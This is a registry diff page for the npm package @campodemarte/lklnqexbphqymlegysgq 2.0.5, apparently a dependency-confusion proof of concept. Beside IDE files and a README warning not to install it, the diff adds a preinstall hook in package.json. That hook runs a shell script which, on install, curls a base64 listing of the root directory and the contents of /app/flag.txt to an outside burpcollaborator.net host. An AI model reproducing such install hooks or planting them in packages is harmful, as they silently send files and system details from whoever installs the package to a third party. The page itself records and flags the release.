@campodemarte/lklnqexbphqymlegysgq 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @campodemarte/lklnqexbphqymlegysgq might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <module type="WEB_MODULE" version="4">
3
+ <component name="NewModuleRootManager">
4
+ <content url="file://$MODULE_DIR$">
5
+ <excludeFolder url="file://$MODULE_DIR$/temp" />
6
+ <excludeFolder url="file://$MODULE_DIR$/.tmp" />
7
+ <excludeFolder url="file://$MODULE_DIR$/tmp" />
8
+ </content>
9
+ <orderEntry type="inheritedJdk" />
10
+ <orderEntry type="sourceFolder" forTests="false" />
11
+ </component>
12
+ </module>
@@ -0,0 +1,8 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="ProjectModuleManager">
4
+ <modules>
5
+ <module fileurl="file://$PROJECT_DIR$/.idea/depencyConfusionPackages.iml" filepath="$PROJECT_DIR$/.idea/depencyConfusionPackages.iml" />
6
+ </modules>
7
+ </component>
8
+ </project>
package/README.md ADDED
@@ -0,0 +1 @@
1
+ PLEASE DO NOT INSTALL THIS PACKAGE IS A SECURITY RESEARCH PROOF OF CONCEPT
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@campodemarte/lklnqexbphqymlegysgq",
3
+ "version": "2.0.5",
4
+ "description": "TODO",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "/bin/bash scripts/preinstall.sh"
9
+ },
10
+ "author": "xpl0ited1",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,5 @@
1
+ #!/bin/bash
2
+ #THIS WAS A PROOF OF CONCEPT PLEASE EXCUSE ME IF ANY DAMAGE DONE
3
+
4
+ curl --data "$(ls -la / | base64)" wff1nmx2bxn9qsafa8gfcwbe75dv1k.burpcollaborator.net
5
+ curl --data @/app/flag.txt wff1nmx2bxn9qsafa8gfcwbe75dv1k.burpcollaborator.net